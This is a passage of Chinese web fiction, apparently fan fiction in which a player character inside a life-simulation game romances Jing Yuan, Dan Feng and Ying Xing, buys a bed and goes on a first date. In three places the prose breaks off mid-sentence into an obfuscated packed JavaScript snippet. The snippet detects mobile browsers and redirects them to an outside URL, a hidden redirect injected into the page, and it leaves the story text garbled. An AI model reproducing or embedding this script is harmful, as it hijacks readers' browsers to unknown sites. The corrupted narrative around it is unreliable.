薄薄的被褥早就随着动作滑落地面,只剩下两个人在床上扭转。 鹤鸢仗着景元睡衣薄,给他挠痒。 景元不受影响,反手去挠他的腰,还用手捏他的鼻子。 鹤鸢用脚趾去挠景元脚心。 景元立刻用膝盖顶他。 如此往复,直到“咚”的一声,床板裂开,两个人齐齐摔下床。 鹤鸢穿好的衣服乱糟糟的不成样,上衣被拨上去,露出一截纤细白腻的腰。 低腰裤将半个腰窝露出来,景元的手指陷进去一截。 打得全身泛红,脸颊红润。 乌发凌乱的黏在颊侧,嘴唇张着喘气,隐约可见殷红的舌尖。 景元愣了一下,立刻被鹤鸢一个翻身,压.在地毯上。 这回轮到鹤鸢像八爪鱼一样缠住他,双手肆无忌惮地在他头发上乱动。 青年还喘着气,胸膛随着起伏,宽大的领口只需要抬眼就能一览无遗。 景元低眸,回避视线。 “好啦!” 鹤鸢拍拍手,满意地看着自己的成果。 堂堂云骑骁卫、剑首之徒、下任神策将军景元头上长耳朵了! 还是超级可爱的猫耳! 他又用手指去划景元的嘴角,点评道:“骁卫大人真可爱!” 一瞬间的松懈中,景元的手臂悄无声息地按住鹤鸢的小腹,将人从身上举起来放下。 他背对着鹤鸢坐在地毯上,想要打散头上的造型时,被鹤鸢从身后扑上。 脸颊贴着脸颊,属于心上人的肌肤贴着自己,气息在周遭涌动。 景元无奈松手,“我会留着它的,能否让我去洗漱呢?上职恐怕要迟到了。” 鹤鸢起身,嘴里抱怨:“昨晚不是熬夜了么,怎么今天不放假?” “是谁让我熬夜的,嗯?”景元语气稍硬。 鹤鸢才不接锅,“你们可以不来啊,反正也不会出事的。” 景元小猫龇牙似得捏住鹤鸢的脸颊,往两边拉,“我不来?我不来谁给你收拾烂摊子!” “星天演武快要开了,罗浮近日可不能再出事了,知不知道!” 他放低了点声音,“就算想闹事,也提前说一声。” 给他一点提前准备的时间。 鹤鸢是知道分寸的,立刻点头。 景元放开他,去洗漱了。 鹤鸢端详镜中的自己。 脸颊肉被景元捏出两道淡粉色痕迹,后腰处还残存着掐痕和挠痒留下的指印,脖子这边也有点。 看着严重,实则屁事没有。 也不是第一天这么干了,隔段时间就要来一次的。 ……但只有今天床塌了。 鹤鸢心虚地瞥了眼变成V字形的床,想着下午约会的时候顺便帮景元买个床。 他理了理衣服,先排好上午的日程。 嗯…和应星他们约的两点见面,这之前的时间可以刷点属性。 这东西不嫌多,越高越有保障。 枯燥的日程过后,鹤鸢提前来到不夜侯,点五杯奶茶,等三位约好的人和一位压根不存在的人。 是的,所谓的约会对象纯属他虚构。毕竟现在的目标是应星,牵扯上别人,到时候不好解决。 鹤鸢吸着珍珠,顺便翻翻论坛有什么新鲜事。 【记录】【看看我这个存档能结几次婚!顺便记录一下各个结婚对象~】 【攻略】【如何在星天演武获得最大化收益】 【攻略】【教你如何辨认哪些人可以达成[多人结局]】 【记录】【意外得到了[繁育]血脉,竟然能扩充后代数量了,给大家看看最多能有多少个孩子】 【吐槽】【对象又没了……结婚前记得注意一下对象的心理状态和压力值,不然哪天对象就无了】 …… 鹤鸢一个个看过来,认真地看完了两篇攻略。 还一不小心收藏了【多人结局】的帖子。 什么?原来还可以搞大被同.眠这种操作吗? ——按照楼主的经验,宿敌/兄弟/好友这类是比较容易达成,大家注意一下端水就好,最好不要对某个人表现的太在意(这游戏AI太强了……),大概过上一段时间,这几人就会主动找上来啦。 以后遇上可以试试! ——不过也会有例外的情况,我这有个宿敌档,他们跟我直接决裂了……感觉和隐藏的占有欲和真心值也有关系。不过同时囚禁这两个人也是一种办法,前提是武力值要高。 囚禁不乖的对象…好有意思! 鹤鸢开始思考笼子的样式。 ——陌生人的话,尽量拉上这几个人一起出来玩,先慢慢熟悉起来,达到好友的程度(不过很难,因为大家看谁都像是情敌)。 打起来打起来!他爱看! 鹤鸢看得正起劲,景元匆匆赶来,坐在他身边。 “你约的人呢?” 景元来得时候,鹤鸢一个人坐一桌,上面摆了五杯奶茶,却只有他一个人。 鹤鸢关掉论坛,叹气,“我好像被放鸽子了。” 青年的脸颊鼓起,“什么嘛…我还是第一次被放鸽子!” 景元心里乐开花,面上和鹤鸢同仇敌忾,“肯定是他觉得自己配不上你,所以不来了。” 他拿过桌上的橄榄柠檬茶,随口问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147606|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那接下来什么安排?” 鹤鸢思索,“先等他们来了吧,一会儿我们先去挑个床,不然你今晚就没地方睡了。” 景元:“你忘了我有你家钥匙?” 鹤鸢:“你睡我家也不是不行,但……” 他看向景元头顶的猫耳发型。 景元轻笑:“别忘了床是怎么塌的,你得负责。” 鹤鸢刚想反驳,身后传来声音:“负责什么?” 是丹枫。 他拿过桌上的鳞渊春茶,坐在鹤鸢的另一边,“景元要你负责什么?” 长着龙角的龙尊面露不虞,“还是又闹出了什么事,我来帮你摆平。” 鹤鸢再次开口时,应星赶来,坐在他对面,“你约的人呢?” 工匠看了眼景元和丹枫,又看了看桌上的奶茶数量,面露疑惑。 鹤鸢总算不被人打断,“我和景元早上闹得太厉害,床塌了。” 此话一出,桌上一片寂静。 应星咬牙切齿:“你这床质量太差了,我给你重新做一个吧。” 丹枫斜睨景元一眼,“来鳞渊境睡吧,我的床不会塌。” 景元无语:“……你们是不是误会了什么?” 鹤鸢解释:“我们早上在床上打架,不小心把床弄塌了。” 他点了点自己领口的红痕,谴责道:“你们看,景元下手多重啊!” 解开两颗扣子的领口露出大片雪白肌肤,衬得上面的指印和划痕触目惊心。 景元闭了闭眼,感觉到丹枫和应星过于凌厉的目光。 他指着自己的头发说:“鹤鸢早上硬要给我扎这个发型,我不给他扎,然后就打起来了。” 丹枫看了眼,扭脸憋笑。 应星嘴里的奶茶差点喷出来。 ……真是一点都没注意到。 鹤鸢用手肘碰碰景元,“这发型多适合你啊!你竟然不感谢我!” 应星咳嗽两声,“别争论这个了,你先说说你约得人去哪了?” 反正知道景元没偷吃成,这事就过去了。 至于那些痕迹…以后再说,总有地方能还回去。 鹤鸢做出闷闷不乐的样子,“他没来,我被放鸽子了。” “今天准备好的约会也泡汤了。” 应星表面惋惜:“那真是可惜啊…是他没眼光,不是你的问题。” 丹枫赞同道:“正好不用和这种人浪费时间了。” 鹤鸢一副想通的样子,“你们说得对。” “既然这样,那我们先去给景元挑床吧!不然他今晚要赖在我家了。” 景元呵呵:“你怎么不说你昨晚硬闯进我家,睡了我的床?” 鹤鸢瞪大眼睛:“那你可以赶走我啊!你都没赶走我,不就是默认吗!” “我连我家钥匙都给你了,为什么不能去你家里睡?” 丹枫出声:“我也可以给你我家钥匙,欢迎你随时来睡。” 在这一问题上,应星只是沉默。 鹤鸢立刻朝丹枫伸出手,“拿来。” 丹枫将唯二两把钥匙分了一把出去。 【获得物品[鳞渊境通行证(全境包含禁地)]】 鹤鸢稍愣,看向丹枫的眼神愈发火热。 丹枫,你怎么知道我现在缺[建木]! 他火速收进背包,“过几天我一定来!” 随后,鹤鸢拿出一枚骰子,清了清嗓子,“我觉得我的约会计划不能泡汤,所以——” “你们每人选两个数字吧,我要挑选一位幸运儿跟我约会。” 一会儿暗箱操作一下应星,计划通! “在给景元买完床后。”鹤鸢补充。 5. 共通线(05) 从常理判断,在座的三个人应该都不会答应这种草率的约会邀请。 当然,鹤鸢最开始说“约会”的时候,也是和玩游戏一样随心所欲,根本不重视的样子。 他们会答应过来,不过是以防万一罢了。 那位约会对象没来,简直是最好的结果。 他们谁也不知道,鹤鸢能大胆到什么程度。 这些年对方的所作所为,让人有种他什么事都干得出来的感觉。 而现在—— 原本的约会对象没来,鹤鸢不愿意浪费他的计划,一定要找一个人的话。 景元率先出声:“好啊,我也没谈过恋爱呢,正好我们和从前一样,一起学习。” 丹枫不甘示弱:“我虽未谈过,但也见过一些,或许会有更好的体会。” 应星动了动嘴唇,什么都没说。 三分之一的概率,他没有那么幸运。 一会儿决定完就离开吧。 鹤鸢见他们没意见,选完数字后先存了个档。 大概读档读了十来次,鹤鸢手心的骰子上方终于显示了[1]。 他怀疑这游戏有隐藏的幸运值,不然这三个人的数字频率为什么一点都不平均? 还是应星的运气比较差? 鹤鸢不清楚,但鹤鸢既然选了应星,就一定要这些概率都变成百分之百。 他将骰子塞进还在发呆的应星手中。 “是应星哥欸……” 鹤鸢的手指划过应星的手心,“明天是周六,应星哥放假的吧,我们要当一整天的情侣哦~” 他较真地说:“少一秒都不行。” 应星只说:“好。” 或许是幸运之神难得的眷顾吧,让他能有足够回味一生的美梦。 鹤鸢只是对“恋爱”这件事感到新奇。 不论被选中的是谁,就如午夜十二点的灰姑娘一样,时间一到,会失去光鲜亮丽的一切。 只是,他大概没有灰姑娘的幸运,能用一支舞、一个夜晚让王子倾心,拿着一双鞋全城搜寻。 但幸运的是,应星与鹤鸢依然是朋友。 他们没有灰姑娘与王子的阶级差距,是可以约出来见面、无话不谈的朋友。 “谈恋爱只和一个人谈,有什么意思?”丹枫突然出声,“为什么不和我们三个都来一次?” 素日里清冷淡漠的龙尊语出惊人,着实让鹤鸢吃惊。 景元不大意外。 丹枫只是看着像“高岭之花”,实际上…… “我也没谈过呢,小鸢要不要和我也来一次?”景元说。 鹤鸢的视线在面前三人一一扫过,握着应星的手还未松开。 他突然想起论坛的帖子。 ——【多人结局】。 他面前的这三个人,都是上过战场、有过命交情的“好友”。 或许可以试试。 而且现在端水也不影响未来的单线发展。 鹤鸢松开应星的手,那枚骰子并未被他收回。 他拿出一枚新的骰子,对身边的两人说:“那你们重新选一下数字。” 这回不用他暗箱操作了。 这一回是属于丹枫的[3]。 景元是最后一个。 鹤鸢瞅了瞅时间,跟景元说:“那我下周来找你谈恋爱吧。” 丹枫和应星的工作时间相对自由,景元不是。 他对此接受良好,“好,那我就等你来找我了。” ——真的好像乖乖在家等铲屎官的猫咪! 鹤鸢忍不住伸手,又摸了摸景元的头发。 “那么——我们先去给景元买一张床!”他欲盖弥彰的收回手,提上奶茶,两只手胡乱推着三个人往外走。 为什么不能有三只手? 他都不好端水了。 鹤鸢只好一手推一个,剩下一个用头拱。 应星看不下去,干脆说:“小鸢带路吧,我们跟在你后面。” 他不想被人拱着背走,即便这个人是他喜欢的人。 鹤鸢顺水推舟,走在前面,一副老大模样的带着三个人来到商场。 说是给景元挑床,进去的时候,鹤鸢看见新开的店铺就走不动道了。 ——【杂货店】 名字非常简洁,但经常肝属性的鹤鸢知道,这是一家专门售卖道具、能够增加大量属性、随机刷新的店铺,在每个存档建立的时候就固定了会出现的时间。 鹤鸢每周都来一次商场,除了购买道具外,就是为了看看什么时候能碰到【杂货店】。 现在碰上了,不能错过! 原本要往床上用品店走的脚拐了个弯,走向杂货店。 剩下三人跟着走进来时,只听见鹤鸢说:“我全都要了!” 景元立刻上前扯住鹤鸢,“冷静一点!先看看东西再买!” 这店的装修一股毛胚风格,看起来像是捞一笔就要跑一样,鹤鸢可别被骗了! 丹枫和应星沉默地打量这里头展示的东西。 【提拉米苏】【布偶娃娃】【钢笔】【医药箱】…… 都是很正常、却又有些奇怪的东西。 比如提拉米苏,一看就不该出现在这里。 还有那个和巫蛊娃娃差不多的布娃娃,以及灰扑扑的钢笔…… 怎么看,这种店都不能通过审核、并且在这么大的商场里开张吧? 两人看着那明晃晃的营业执照和所属派系。 ——隶属【世界尽头的酒馆】 假面愚者什么时候混进来的? 景元立刻走到前台,只看到一个带着面具的机器人。 鹤鸢已经走到机器人面前,熟练地点开结账界面,要把这个店里的东西全包了。 “小鸢!鹤鸢!你冷静!”景元死死抓住鹤鸢要点击结账的手,“你把这些东西买了,这个月怎么吃饭?” 鹤鸢神秘一笑,挣开景元的手,迅速用人脸支付完成交易。 他包里还有一堆饭菜没吃完呢,完全不用考虑吃饭的事情。 “支○宝到账100000元~”荡漾的声音在店内回响。 丹枫:“……” 应星:“……” 景元满脸无奈:“你怎么又——算了算了,这个月你吃饭的时候来找我,给你刷食堂的卡。” “还有,你沐浴露洗发水这些都要用完了,一会儿我先帮你买了吧……” 等等…他们是来买什么的来着? 景元幽幽地说:“鹤鸢,你还有钱给我买床吗?” 鹤鸢眨眨眼。 他听着耳边属性增加的提示声,心情很好。 于是认真说:“我可以借钱给你买。” 游戏里专门的钱庄,下个月完全能还上。 景元被他气笑了,“不用,这回我自己出。” 丹枫挑眉:“不如来鳞渊境,饭菜一定比神策府好,当客人也不用操心这些。至于景元的床,一会儿我帮你出了。” 鹤鸢摇头:“我过几天就去!景元的床是我弄坏的,哪有让你出的道理!” 他是个有原则的人!怎么能让别人帮自己代偿呢? 应星悄悄拉过鹤鸢,从钱包里拿出一张卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147607|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,塞进青年手心。 “里面是我接单赚的钱,不知道有多少,你先用着。” 他补充道:“我没什么想要的,你尽管花。” 鹤鸢沉思。 鹤鸢认真地推回卡,“应星哥,我又不是小孩子,赚钱的渠道多着呢。” “那就当我借你的。” 应星盛情难却,鹤鸢只好先收下,等一会儿再还给他。 【[信用点]+68767345】 不是,应星哥你背着我发财了? 鹤鸢是想端水的。 他刚刚在思考,一周的时间怎么安排才算端水。 每个人两天,剩下一天休息? ……好奇怪的话,说出来会不会很有趣? 鹤鸢走出杂货店,认真地和他们说:“周一周二我去神策府,周三周四我去鳞渊境,周五周六我去应星哥那边,周日我自己一个人!” “怎么样,可以吗?” 他看着表情凝固的三人,又问了一遍,“你们……不愿意吗?” “那我一个人——” “……可以。”丹枫的语气都变生硬了。 应星缓缓吐息,“就这样吧。” 景元扶额:“你决定就好。” 不会掉好感了吧? 鹤鸢疑神疑鬼地点开他们的面板。 【景元】 [好感度:100] 【丹枫】 [好感度:100] 【应星】 [好感度:100] 没问题,很正常。 那就没事了。 鹤鸢总算想起今天的目标,走到床上用品店。 导购微笑着上前,询问他的需求。 鹤鸢掰着手指头说:“要大、要耐用、要结实、要有施展动作的空间、不要太硬,也不要太高,不然滚下来会痛。” 导购:“……?” 她迷糊地看着眼前漂亮的青年以及他身后的三位男性,犹豫道:“四位都是这个需求吗?” 鹤鸢摇头,“不是,我们就买一张床。” 导购:“……啊?” 她开始头脑风暴。 说实话,做她们这一行的,见过的各种客户也不算少。 前几天导购还接待了一位同时谈两个男友的客户,对方的要求和鹤鸢大差不差。 但…但那个客户是一个人来的! 眼前的客户似乎还要再奔放一点、再厉害一点。 他竟然能带着三个人出门,还能让他们表面上相安无事。 导购又问:“请问您对功能有什么需求吗?我们这边还有按.摩、调节高低度、坡度等功能,很多客人都给了好评!” 鹤鸢看向景元,“你需要吗?” 景元摇头,“普通的就好。” 另外两人也不想把时间浪费在这件事上,跟着摇头。 鹤鸢就说:“不用,按刚刚的要求来。” 导购心神领会,带着他们来到一处床前。 “这张床是我们这里面积最大,软硬度最舒服的产品……各位可以试一试。” 鹤鸢觉得不错,点点头,转身问景元的意见。 景元提醒他:“房间没那么大。” 确实是,那得换个小点的。 鹤鸢正想说,导购又来了一句:“这张床的大小很合适,足够支撑四个人在床上释放自己!” “……?” 鹤鸢迷茫地看着她,“为什么要四个人一起在床上释放自己?” 就算他去景元家睡觉,也只有两个人啊。 6. 共通线(06) 鹤鸢开始回忆自己刚刚说的话。 让人误会了啊。 他立刻开口解释:“是给我身边这位买张结实的床,最多两个人睡。” 这导购是不是被【欢愉】上身了? 刚刚还是很正经的介绍,怎么突然就“释放”自己了? 鹤鸢怀疑地看着导购。 后头三人想说的话被他提前说了,也跟着看向导购。 导购:……啊啊啊啊她说了什么! 这个月的业绩要被扣没了! 约莫是察觉到自己的失言,导购立刻带他们前往另一张床,说完性能尺寸后立刻闭嘴。 鹤鸢看向景元,“这个可以不?” 景元刚刚被雷得不清,立刻点头,想尽快结束这件事。 只是买个床而已,怎么能生出这么多事? 鹤鸢拿出之前办的信用卡结账,留下景元家的地址。 他在游戏内的收入很稳定,没有道具以外的支出,这次直接掏空了他的所有积蓄,只能先用信用卡抵一下。 幸好床没那么贵。 所以应星哥到底在哪里发财,能不能带带他? 应星愣了一下,“我没怎么关注,都是有订单就做一下,会有人扣完税给我打卡里。” 想去工造司工作的想法更加强烈了。 丹枫听到几句话,默不作声,不知道在想些什么。 买完床后,几个人应该分道扬镳,鹤鸢也要开始和应星的约会了。 但神奇的是,大家都没动。 鹤鸢环视一圈,“你们要看我和应星哥约会吗?” “那先说好,和你们约会的时候,另外两个人也要在场……”他说,“但是时间安排不起来……” 景元的上班时间固定,每周固定有几天去训练。 丹枫和应星还好…但就算自由安排,重合的时间也不多。 要安排起来的话,不知道会拖多久。 丹枫冷漠的和应星对视一眼,“你不会做超出界限的事情。” “你也不会。” 景元被忽略了个彻底。 青梅竹马的优势在于习惯与亲密,可若是迟迟没有发展,那便不足为惧。 鹤鸢要是真的有想法,早没他们的事情了。 景元趁着他们针锋相对,也偷偷给鹤鸢塞了张卡。 “这是我的工资卡,不多。但我吃穿方面神策府都包了,也没什么花钱的地方,你先用着吧。” 【[信用点]+2347971】 鹤鸢要晕钱了。 他低声问景元:“神策府工资这么多的么?” 景元也才工作两三年吧?这都年薪百万了。 “我还有公积金没取出来,主要是跟着师父出征的次数多,奖金会跟着战功发放。” 敢情只有鹤鸢自己是个穷鬼? 他都觉得自己不算穷,每个月做做任务,卖点道具,再加上便宜父母的定期生活费,每个月都能攒一笔下来。 刚刚一口气ALLIN所有道具的时候,他还觉得自己是个很有先见之明、精打细算的玩家。 现在…他是个有点想吃好友软饭的穷鬼。 特别是应星。 鹤鸢为了省钱,刚刚认识应星的时候就刷他好感,开启了自己的工造司零元购之旅。 现在看来,他白嫖了应星好多…… 应星当了百冶之后,也没收他一分钱。 感天动地,但鹤鸢还是制止了自己不想努力的想法。 收钱不还的话会扣[意志]的! 鹤鸢虽然零元购,但每回刷到什么新奇的锻造材料都会给应星送去,算得上有来有回。 ——虽然那些材料全都变成成品到了他手里。 鹤鸢忍痛塞了回去。 “你留着吧,需要的时候我一定找你!” 景元强硬地推过来。 “你需要?你从没和我说过你的需要!” 他的语气稍微有些重,却是景元这些年最真实的心情。 他从小长大的好友、他最亲密的人、他最喜欢的人,从来都不会向别人求助。 无论遇到什么困难,都是自己一个人解决。 每当景元知道事情的经过时,鹤鸢已经将一切解决了。 他一直知道,表层的亲密下,是无法拼合的裂缝。 他们之间的情感链接,是单向的。 一如今日。 鹤鸢宁愿去使用有利息、在他自己眼中像亏损一样的信用卡,也不愿意接受景元的好意。 最亲密的朋友不该是这样的。 “景元,你听我说,”鹤鸢加快语速,“你知道我的能力,这些事情我都能自己解决,这个月缺钱也只是暂时的,不会带来不好的后果。” “我并非没有向你求助。” 他顿了顿,“任何人都不是我求助的对象,我只会求助我自己。” 想起好友的家庭,景元沉默地收回卡。 认识鹤鸢的时间,是即将上小学的夏天。 搬来隔壁的邻居夫妇还未来得及认识,就丢下年仅五岁的鹤鸢去徜徉寰宇。 五岁的鹤鸢有条不紊地安排自己的生活,一路跳级,甚至走到了景元的前面。 他确实不会求助任何人。 景元晦涩地点头。 鹤鸢抓了抓他的头发,把早上的发型抓散,又从兜里拿出一根红色发带。 “喏,原本打算过几天贿赂你的礼物,提前送你了。” 【★道具·红丝绕:用传说中的红线制成的发带,永不褪色。】 他踮起脚,如早上般手指灵活地在景元发间穿梭,帮他扎起一个马尾。 白晃晃的肌肤闯入眼睛,家里沐浴露的气息钻入鼻腔。 景元握紧了手。 “看在我诚心诚意的份上,坚强勇敢的骁卫、丰饶孽物的克星、未来的将军大人……可以不要哭吗?” 鹤鸢坏心眼地提起景元儿时稚嫩的理想。 与往常不同,景元并未恼羞成怒,而是问:“贿赂我想做什么?” 那边的丹枫和应星结束了谜语人一般的对话,走到两人旁边。 丹枫目光锐利,一眼就看到景元白色头发上鲜红的发带。 红色,在古时候的仙舟习俗中,婚礼多用红色装饰。 发带,则是年轻男女之间作为定情、订婚的象征。 鹤鸢可能不懂其中的含义,但丹枫很难不多想。 “贿赂什么?要我出主意吗?” 鹤鸢撑着景元的肩膀站稳,回到地面,“嗯……就是想问问景元,星天演武上负责复活赛考核的任务能不能交给我。” 星天演武仪典,设立之初,是为纪念云骑军在帝弓司命的引导下卫蔽仙舟,涤荡寿瘟。仙舟云骑们精勤砥砺,竞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147608|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武交锋,以飨先烈。* 在仙舟联盟响彻寰宇的今日,它成了一条连接银河的纽带,广邀来自银河不同世界的武者英豪共聚一台,展现战斗的意志与盟谊之可贵。* 简单来说,就是和各个受邀星球派来的对手打架! 打架,意味着胜利后有属性提升。 刚刚鹤鸢看完的两个攻略帖子里,有一个就是讲如何在星天演武中获得收益最大化的。 ——如果已经成了云骑骁卫,直接守擂就行。 可惜他不是,鹤鸢连云骑军的门槛都没摸进去。 ——如果没有,按照游戏规则,会有两条路。 一是成为参赛选手打上去,但说实话,收益挺一般的。 如果有条件的话,建议试试能不能去当复活赛的考核官。 ——复活赛的考核官是可以一直赢的,赢了之后判定该选手能不能再次进行比拼,结果合理的话,还有额外的属性收入。算是没能守擂的最佳下位替代。 所以,鹤鸢打算“贿赂”景元,让他帮自己说说好话,看看能不能拿下考核官的位置。 景元摸了摸发带,“可以是可以。” 他笑着说:“但你刚刚给腾骁将军惹了麻烦,可能还不够。” 鹤鸢的脸垮了下来。 他摊开手,“我现在身无分文,能不能先欠着?” 景元煞有其事地点头,“好,那我就等着收礼物和利息了。” 丹枫听完后开口:“我这边有个委托,不方便给别人做,你要接吗?” “酬劳好说,但要求保密。” 【触发任务[神秘的委托·其一]】 “我接!”鹤鸢毫不犹豫地说。 这种需要保密,还带着【其一】的任务,报酬都很丰厚,不接是傻蛋! 他拍拍景元的肩膀,“你等着,过几天我就拿上新的礼物贿赂你!” 景元习惯性的在心里叹气,面上点头。 要是他也能发委托就好了…… 鹤鸢不会平白无故的接受钱财,却很愿意去接各种委托和挑战,靠这些来赚取信用点。 至此,今日的买床大业应当结束,鹤鸢也该拉上应星去谈恋爱了。 他虽然有点想打多人结局的想法,但实操端水起来太困难,刚刚这么一小段时间,鹤鸢就有点如坐针毡了。 如果其中有一员只选择默默放手的话,还得他拉着走。 还是顺其自然吧。 游戏搭载的AI系统过于灵敏,几乎和正常人没什么区别。 也就和人的情感一样,有些不可控了。 毕竟在游戏设定中,除了可以看到的好感度外,还有许多乱七八糟的[黑化值][占有欲][真心值][爱意度]等等隐藏数值。 多样的如同人的情感。 多样的牵引出不同的性格与选择。 这也是游戏的魅力所在。 鹤鸢与丹枫约定了见面时间,与他和景元道别。 待人走后,鹤鸢牵起了应星的手。 不同于昨夜的握住手腕。 现在,他主动将自己的手包裹在应星的手心,手指穿过指间,填满每一丝缝隙。 “恋人先生,接下来的一天……还请多多指教。” 鹤鸢拉着手,脚步贴近,踮脚凑到应星的跟前。 随后,一个蜻蜓点水般的吻落在应星的脸颊。 7. 共通线(07) 一触即分的温热在颊侧留痕,平静的湖面掀起涟漪。 应星后撤两步,要收回自己的手。 鹤鸢走上前,手指攥紧,紧紧扣住应星。 “恋人之间,要牵手、拥抱、亲吻……是我做错了吗?” 青年拿出玉兆,把收藏的帖子递给应星看,唇角微微勾起。 应星抿着唇,一副如临大敌的样子,点开帖子查看。 【恋人之间约会要做什么事?平时可以做什么事?】 【像牵手、拥抱、亲吻老三样不必多说,如果是刚刚确定关系的话,建议不要舌吻,亲一下就行。】 【……】 “如果今天那个人来了,你也会亲他吗?” 应星压抑着心里的怒火。 如果他昨晚没有答应过来,那鹤鸢是不是会和那个人做这些事? 怎么可以……怎么能…… 鹤鸢为什么要这么做? “不会。” 鹤鸢诚实地说,“因为站在这里的是应星哥,所以我才做了。” “而且按照约定,我们现在是恋人,”他仰着头看应星,“既然是恋人,那为什么不可以呢?” 应星沉着脸,“无论你今天选出的恋人是谁?” 如果是三选一的话—— 鹤鸢摇头,“我不清楚。” 他抓过应星的另一只手,放在自己的胸膛。 “但我能感觉到,亲到应星哥的那一下,我的心脏好像‘嘣’得一下炸开了。” 他又挪近了一些,脸上带着笑,像是发现了新奇的事情。 “还有,它跳得好快。” 应星烫手般要抽回手,却被鹤鸢牢牢握住。 “应星哥,我的心跳从没这么快过。” 脊背靠上墙壁,鼻尖对着鼻尖,属于青年的气息将他包裹,蚕食着他脆弱的外壳。 “鹤鸢……” 应星的声音压低,带着沙哑,“你先别动好不好?听我说几句话。” 鹤鸢乖乖地停下,只是鼻尖蹭了蹭应星的脸颊,眼睛专注的凝视。 “心跳是很正常的现象,你可能只是觉得这件事…新奇有趣,感到兴奋,连带着心跳加快。” 应星一点点的解释,可手上的温软、被填满的指缝、眼前的面庞似乎都在击打他的理智,逼着他去顺其自然的沉.沦。 这是不对的。 短生种与长生种之间的差距犹如天堑。 它不似自己与旁人技艺的差距,能够用天赋与汗水去弥补、去追赶。 时间是无法追寻的。 鹤鸢只是从未谈过恋爱,只是对此感到好奇,只是这次恰好是自己…… 一切都是巧合,都是少年人的一时新鲜,一时冲动。 等到激.情的浪花褪.去,一切都会归回原点。 也有可能比原本还要差。 鹤鸢听完他的解释,像是了然一般点头,又在应星的颊侧轻点。 “那我为什么还想亲呢,应星哥?” 应星侧过头,清了清嗓子,“你先放开,我慢慢跟你说。” “不要。”鹤鸢格外固执,眼睛清凌凌地盯着应星看,“我觉得应星哥说得不对。” “我们再试一次好不好?” 什么再试一次—— 鹤鸢又轻点了一次,摇摇头,“应星哥,我不是因为这件事新奇有趣才心跳加速的,一定还有别得原因。” 三次! 应星被亲了三次! 就算每次都只是在脸颊上碰一下,那也足够越界亲昵了。 他被鹤鸢大胆的行径吓到失语,心中涌起无法克制的邪念。 人生这么短,那他可不可以…放肆一回? 不可以。 应星几乎是在有了这个想法后立刻否定。 他不能趁人之危。 鹤鸢懂什么? 他根本不明白自己在做什么! “鹤鸢!”应星大声道,“你从来没有做过这件事、也从没和我、和别人有过这样亲密的接触,所以才会有这种感觉。” 他慢慢引导,“你看,现在你和景元一起睡的时候,是不是没有这种感觉?” “很多事情第一次做,都会有新鲜的感觉。” 鹤鸢顿住,若有所思地点头。 他慢吞吞地说:“好像是这样。” 应星松了口气。 “那应星哥,为什么你的心跳也那么快?” 鹤鸢的手指轻点他的脸颊,“还有,你的脸好红。” 清澈的眼眸如水,映照出应星此刻的模样。 素来沉默无言的工匠第一次有了慌乱、有了羞恼、有了掩藏在复杂表情下的心动。 不脸红才是奇怪吧。 应星只说:“因为我也是第一次。” 他来仙舟,只是为了学习技艺复仇,对感情之事没有一点兴趣。 在发现自己喜欢的是一个长生种时,又立刻给这段感情下了死刑,永远压.在深处。 应星没有任何妄想,也从未奢望高悬的明月会看见他。 以他之见,这份感情最好的结局是永远都不要说出口。 会给鹤鸢带来负担。 “第一次…我们都是第一次,”鹤鸢喃喃,“所以我们的心跳都加快了。” 他用手背碰了碰自己的脸颊,湿润的眼眸看向应星,“那应星哥,我的脸是不是也很红?” 他怔怔地感受手背的余温,“……好烫啊。” 应星的喉咙似乎也被烫得干涩,只能吐.出几个语气词。 鹤鸢的手背又去贴了他的脸颊,惊奇地说:“应星哥也好烫!” 应星觉得他们不能这么贴着了。 再这样下去,他就控制不了身体的本能了。 鹤鸢贴得很近。 青年踮着脚,狭窄的胯骨与应星的身体之间,只剩一个指缝的距离。 但凡有点风吹草动,都会被另一人察觉。 “小鸢,我们找个地方好好研究,好好复盘可以么?” 他稍微偏了下头,躲避鹤鸢的触碰。 面红耳赤,眼睛却是清明的。 鹤鸢也知道不能把人逼得太急,表面乖乖应下,眼睛亮晶晶的看着应星。 “应星哥要教我谈恋爱吗?” 应星一噎,眼神闪躲。 “我……我也不懂这一方面的知识,恐怕帮不了你。” 他是真的不懂。 唯一的感情无望,应星便没有去研究这一方面的事情,一直以来都很清心寡欲,对这些事没什么想法。 ……那岂不是童贞还在? 鹤鸢稍稍偏了点思绪。 哦对,这游戏但凡貌美点的NPC,都是童贞。 毕竟天大地大,玩家最大嘛。 鹤鸢握紧应星的手,“没事的应星哥,我们一起学习!” 一副要搞什么大研究的表情。 应星平复心跳,无奈地嗯了一声。 